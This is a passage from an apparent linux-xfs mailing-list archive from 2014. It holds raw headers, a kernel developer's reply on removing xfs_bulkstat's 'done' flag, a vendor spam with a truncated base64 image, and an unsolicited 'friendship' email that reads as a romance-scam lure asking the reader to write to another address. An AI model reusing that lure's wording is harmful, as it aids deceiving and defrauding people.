list so that the problem may be analyzed and the root cause identified. Then the proper corrective action can be identified and implemented to fix the problem and hopefully prevent it from reoccurring. -- Stan From jennifernelson220@hotmail.fr Thu Jan 2 10:46:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47CFD29DF8 for ; Thu, 2 Jan 2014 10:46:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C8CEDAC003 for ; Thu, 2 Jan 2014 08:46:26 -0800 (PST) X-ASG-Debug-ID: 1388681184-04cb6c537cb4cf50001-w1Z2WR Received: from dub0-omc4-s30.dub0.hotmail.com (dub0-omc4-s30.dub0.hotmail.com [157.55.2.105]) by cuda.sgi.com with ESMTP id JKc1YBSeae5g1ULN for ; Thu, 02 Jan 2014 08:46:25 -0800 (PST) X-Barracuda-Envelope-From: jennifernelson220@hotmail.fr X-Barracuda-Apparent-Source-IP: 157.55.2.105 Received: from DUB120-W24 ([157.55.2.73]) by dub0-omc4-s30.dub0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Thu, 2 Jan 2014 08:46:24 -0800 X-TMN: [Skg/qzDstTqSiECbQ/9f5xh5ep9dA/Lm] X-Originating-Email: [jennifernelson220@hotmail.fr] Message-ID: Content-Type: multipart/alternative; boundary="_f7c91e04-0942-4eb6-a0ce-df2d3f73cf2e_" From: Jennifer Nelson Subject: Hello my friend , Date: Thu, 2 Jan 2014 16:46:24 +0000 X-ASG-Orig-Subj: Hello my friend , Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 02 Jan 2014 16:46:24.0692 (UTC) FILETIME=[2C714740:01CF07DA] X-Barracuda-Connect: dub0-omc4-s30.dub0.hotmail.com[157.55.2.105] X-Barracuda-Start-Time: 1388681185 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143661 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_f7c91e04-0942-4eb6-a0ce-df2d3f73cf2e_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello my friend =2C My name is jennifer Nelson . I am a female 24 years of = age=2C My main purpose of this letter is to indicate my interest of friends= hip with you so i will like to establish a long lasting relationship with y= ou if you don't mind accepting my offer. In addition=2C i will like you to = write me back to my email below (nelsonjennifer@hotmail.fr ) or give me you= r email to contact you . expecting to hear from your reply soon. Yours Sinc= erely friend Jennifer Nelson = --_f7c91e04-0942-4eb6-a0ce-df2d3f73cf2e_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello my friend =2C My name is j= ennifer Nelson . I am a female 24 years of age=2C My main purpose of this l= etter is to indicate my interest of friendship with you so i will like to e= stablish a long lasting relationship with you if you don't mind accepting m= y offer. In addition=2C i will like you to write me back to my email below = (nelsonjennifer@hotmail.fr ) or give me your email to contact you . expecti= ng to hear from your reply soon. Yours Sincerely friend Jennifer Nelson =
= --_f7c91e04-0942-4eb6-a0ce-df2d3f73cf2e_-- From david@fromorbit.com Thu Jan 2 16:38:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7972329DF8 for ; Thu, 2 Jan 2014 16:38:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6AD7B8F8050 for ; Thu, 2 Jan 2014 14:38:20 -0800 (PST) X-ASG-Debug-ID: 1388702298-04cb6c537bb60240001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id TLxCH2MrSUsArxcw for ; Thu, 02 Jan 2014 14:38:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkIKAFTpxVJ5LHyk/2dsb2JhbABYgwuDOlKwJYVSgQsXdIIlAQEBAwEjBAsBIyMFCwgDFQMCAgUhAgIPBSUDIROHfAepAJlUFxaBE40nTQeCboFIBJgWikyHSYNBKIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Jan 2014 09:08:17 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vyqu6-0004A1-Gz; Fri, 03 Jan 2014 09:38:14 +1100 Date: Fri, 3 Jan 2014 09:38:14 +1100 From: Dave Chinner To: Jeff Liu Cc: Mark Tinguely , "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation Message-ID: <20140102223814.GP20579@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> <52C1BCE5.1070707@sgi.com> <52C293A5.1000606@oracle.com> <20140102011243.GO20579@dastard> <52C51402.7040609@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52C51402.7040609@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1388702298 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143670 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 02, 2014 at 03:23:46PM +0800, Jeff Liu wrote: > On 01/02 2014 09:12 AM, Dave Chinner wrote: > > On Tue, Dec 31, 2013 at 05:51:33PM +0800, Jeff Liu wrote: > >> On 2013年12月31日 02:35, Mark Tinguely wrote: > >>> On 12/28/13 05:20, Jeff Liu wrote: > >>>> From: Jie Liu > >>>> > >>>> In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might > >>>> return different error if either call failed, we'd better return the > >>>> proper error in this case. Moreover, the function argument done is > >>>> useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. > >>>> > >>>> Signed-off-by: Jie Liu > >>>> --- > >>> > >>> Yes, I know dmapi is not loved here but SGI still uses it and it wants > >>> the done flag still.. > >> My mistake. At that time, I noticed that there has comments about this > >> in xfs_ioc_bulkstat(), i.e, > >> > >> /* done = 1 if there are more stats to get and if bulkstat */ > >> /* should be called again (unused here, but used in dmapi) */ > >> > >> However, I failed to find out why it would be called by going through > >> the dmapi source code... > >> > >> I'll keep this argument in next round of post. > > > > Well, let's consider how DMAPI uses it first. > > > > dmapi_ioctl() > > use_rvp = 0; > > case DM_GET_BULKALL: > > use_rvp = 1; > > dm_get_bulkattr_rvp(*rvp) > > fsys_vector->get_bulkattr_rvp(rvp) > > xfs_dm_get_bulkall_rvp(*rvalp) > > xfs_bulkstat(&done) > > *rvalp = !done ? 1 : 0; > Thanks for the clarification. Now I can understand the use scenarios > via DMAPI. > > > > if (use_rvp && !error) > > return rvp; > > > > > > Ok, so it returns the "done" status to userspace. How is "done" > > calculated? > > > > if (agno >= mp->m_sb.sb_agcount) { > > /* > > * If we ran out of filesystem, mark lastino as off > > * the end of the filesystem, so the next call > > * will return immediately. > > */ > > *lastinop = (xfs_ino_t)XFS_AGINO_TO_INO(mp, agno, 0); > > *done = 1; > > } else > > *lastinop = (xfs_ino_t)lastino; > > > > Oh, so it's nothing special - the lastinop is pointed outside the > > current filesystem bounds and done is set to 1. IOWs, the dmapi code > > could easily generate the "done" value based on the returned > > lastinop value. i.e. xfs_dm_get_bulkall_rvp() can do this after the > > xfs_bulkstat() call: > > > > if (XFS_INO_TO_AGNO(mp, lastinop) >= mp->m_sb.sb_agcount) > > *rvalp = 0; > > else > > *rvalp = 1; > > > > And that means we can remove the done parameter from xfs_bulkstat() > > and no longer have to care about what DMAPI requires. Hence I think > > the patch as it stands does not impact on DMAPI functionality and so > > it just fine to clean up... > Yep. Except DMAPI, the only user of the done parameter is quota check, i.e, > xfs_qm_quotacheck(): > > do { > /* > * Iterate thru all the inodes in the file system, > * adjusting the corresponding dquot counters in core. > */ > error = xfs_bulkstat(mp, &lastino, &count, > xfs_qm_dqusage_adjust, > structsz, NULL, &done); > if (error) > break; > > } while (!done); } while (XFS_INO_TO_AGNO(mp, lastino) < mp->m_sb.sb_agcount); > But if we finally could perform quota check in parallel, the done parameter > can totally be removed as flush_workqueue() can ensure that is completed. > Actually, I just did it as the last patch in parallel quota check which is > not yet posted. Right - when you parallelise the quotacheck, then bulkstat termination conditions are determined by the caller not xfs_bulkstat(). Hence removing the "done" flag and letting the callers determine temination conditions via the lastino being returned seems like the right thing to do as a preparation step. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sales5@moresun.cn Fri Jan 3 01:51:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DEAR_FRIEND,HTML_FONT_FACE_BAD, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 149837F54 for ; Fri, 3 Jan 2014 01:51:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A3106AC003 for ; Thu, 2 Jan 2014 23:51:22 -0800 (PST) X-ASG-Debug-ID: 1388735478-04bdf0568e21ea0001-NocioJ Received: from mail.gmail105.cn4e.com (gmail105.cn4e.com [118.145.2.220]) by cuda.sgi.com with ESMTP id EzAyIzRtfCKJSLXy for ; Thu, 02 Jan 2014 23:51:18 -0800 (PST) X-Barracuda-Envelope-From: sales5@moresun.cn X-Barracuda-Apparent-Source-IP: 118.145.2.220 Received: from 2012-20131201ZO (localhost.localdomain [127.0.0.1]) by mail.gmail105.cn4e.com (Postfix) with SMTP id 9DCB790808C for ; Fri, 3 Jan 2014 15:51:15 +0800 (CST) Received: from 2012-20131201ZO (unknown [163.125.216.21]) by mail.gmail105.cn4e.com (Postfix) with ESMTPA for ; Fri, 3 Jan 2014 15:51:15 +0800 (CST) Date: Fri, 3 Jan 2014 15:49:58 +0800 From: sales5 To: xfs Reply-To: sales5 Subject: Multi 3 in 1 cable - 2014 new model ---Snow Disposition-Notification-To: sales5 X-ASG-Orig-Subj: Multi 3 in 1 cable - 2014 new model ---Snow X-Priority: 1 X-GUID: 3AE72F12-225E-4F5B-9FB5-0F9708DA2649 X-Has-Attach: no X-Mailer: Foxmail 7.0.1.92[cn] Mime-Version: 1.0 Message-ID: <2014010315495068789831@moresun.cn> Content-Type: multipart/related; boundary="----=_001_NextPart635730728485_=----" X-Barracuda-Connect: gmail105.cn4e.com[118.145.2.220] X-Barracuda-Start-Time: 1388735478 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.61 X-Barracuda-Spam-Status: No, SCORE=1.61 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DEAR_FRIEND, HTML_FONT_FACE_BAD, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143681 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word This is a multi-part message in MIME format. ------=_001_NextPart635730728485_=---- Content-Type: multipart/alternative; boundary="----=_002_NextPart726651266076_=----" ------=_002_NextPart726651266076_=---- Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 RGVhciBGcmllbmQsDQoNCk5pY2UgZGF5ISANCg0KRm9yIDIwMTQgbmV3IHllYXIgLCB3ZSBkZXNp Z24gYSBzcGVjaWFsIGdpZnQgZm9yIG91ciBjdXN0b21lcnMgOiAiMyBpbiAxIGNhYmxlIiAhDQoN Cg0KSGVyZSBpcyB0aGUgZGV0YWlscyA6DQpUaXBzOiBpcGhvbmU1IDsgaXBob25lNC80czsgbWlj cm8gdXNiDQpTaXplIDogNTBtbSo1MG1tDQpNYXRlcmlhbCA6IHNpbGljYSBnZWwNCkZ1bmN0aW9u IDogY2hhcmdpbmcgJiBkYXRhIHRyYW5zZmVyICENCg0KRm9yIG1vcmUgZGV0YWlscyBhbmQgcXVv dGF0aW9ucyxwbGVhc2UgZmVlbCBmcmVlIHRvIGNvbnRhY3QgdXMgYW55dGltZSAuDQpZb3VyIHJl cGx5IHdpbGwgYmUgaGlnaCBhcHByZWNpYXRlZCAuDQoNCkJlc3QgUmVnYXJkcywNClNub3cNCg0K DQoNCg0KWmVlZm8gSW50ZXJuYXRpb25hbCBHcm91cCBDby4sIExpbWl0ZWQNClNoZW56aGVuIE1v cmVzdW4gRWxlY3Ryb25pYyBUZWNobm9sb2d5IENvLiwgTHRkDQotLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpXZWI6IHd3dy5tb3Jlc3VuLmNuICAgICAgICAgIEFs aWJhYmE6d3d3Lm1vcmVzdW4uY29tLmNuIA0KVGVsOiA4Ni03NTUtODk0ODU3NzggICAgICAgICAg ICBXaGF0c2FwcC9Nb2I6IDg2LTE4NjU2NjU4OTM3DQpFbWFpbDogc2FsZXM1QG1vcmVzdW4uY24g ICAgIFNreXBlOiBzbm93LmxhdS5tb3Jlc3VuIA0KUVE6MTA5OTE5NzgzNiAgICAgICAgICAgICAg ICAgICAgIFdlIENoYXQgOiBmaWdodHNub3cNCkFkZDogRmxvb3IgNC01LEJ1aWxkaW5nIEE2LFRo ZSBOZXcgTWF0ZXJpYWwgSW5kdXN0cmlhbCBQYXJrLFNpbGljb24gVmFsbGV5IFBvd2VyLFpvbmd5 aSBSZCxaaGFuZ2dlIENvbW11bml0eSxHdWFubGFuLExvbmdodWEgLFNoZW56aGVuLENoaW5h ------=_002_NextPart726651266076_=---- Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable
Dear=20 Friend,
 
Nice=20 day!   For=20 2014 new year , we design a special gift for our customers : "3 in 1<= FONT=20 style=3D"FONT-FAMILY: Calibri; FONT-SIZE: 11pt" color=3D#000001 size=3D1=20 face=3D""> cable" !
 
Here is the details :=
Tips:=20 iphone5 ; iphone4/4s; micro usb
Size=20 : 50mm*50mm
Mater= ial :=20 silica gel
Funct= ion :=20 charging & data transfer !
 
For more details=  and quotations,please feel free to contact&= nbsp;us anytime .
Your reply will&= nbsp;be high appreciated .
 
Best=20 Regards,
Snow
 

Zeefo=20 International Group Co., Limited
Shenzhen M= oresun=20 Electronic Technology Co., Ltd
-------------------------------------------
Web:=20 www.moresun.cn        =20  Alibaba:www.moresun.com.cn 
Tel:=20 86-755-89485778          = ;  Whatsapp/Mob:=20 86-18656658937 Email: sales5@moresun.cn     Skype:=20 snow.lau.moresun  QQ:1099197836            =  =20       We Chat : fightsnow Add: Floor 4-5,Building A6,The New Material Industrial=20 Park,Silicon Valley Power,Zongyi Rd,Zhangge Community,Guanlan,Longhua=20 ,Shenzhen,China ------=_002_NextPart726651266076_=------ ------=_001_NextPart635730728485_=---- Content-Type: image/jpeg; name="colorful (11-07-(01-03-15-48-59).jpg" Content-Transfer-Encoding: base64 Content-ID: <_Foxmail.0@628B6EA8-AD51-4DB1-BD87-021C4F84DA49> /9j/4QAwRXhpZgAATU0AKgAAAAgAAQExAAIAAAAOAAAAGgAAAAB3d3cubWVpdHUuY29tAP/bAEMA AwICAwICAwMDAwQDAwQFCAUFBAQFCgcHBggMCgwMCwoLCw0OEhANDhEOCwsQFhARExQVFRUMDxcY FhQYEhQVFP/bAEMBAwQEBQQFCQUFCRQNCw0UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FBQUFBQUFBQUFBQUFBQUFBQUFP/AABEIAlgCWAMBEQACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAA AAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdo aWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU 1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJ Cgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVi ctEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqC g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl 5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APyqoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA+9f+Cbf7F3w 7/ap8KeN9Q8b/wBri40e9tre2/sy8EC7Xjdm3Ao2TlRQB9j/APDoD4A/9TX/AODZP/jVArh/w6A+ AX/U1/8Ag2T/AONUDE/4dBfAH/qav/Bsn/xqgBf+HQPwB9PFX/g3T/41QAf8OgfgF6eKv/Bun/xq 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 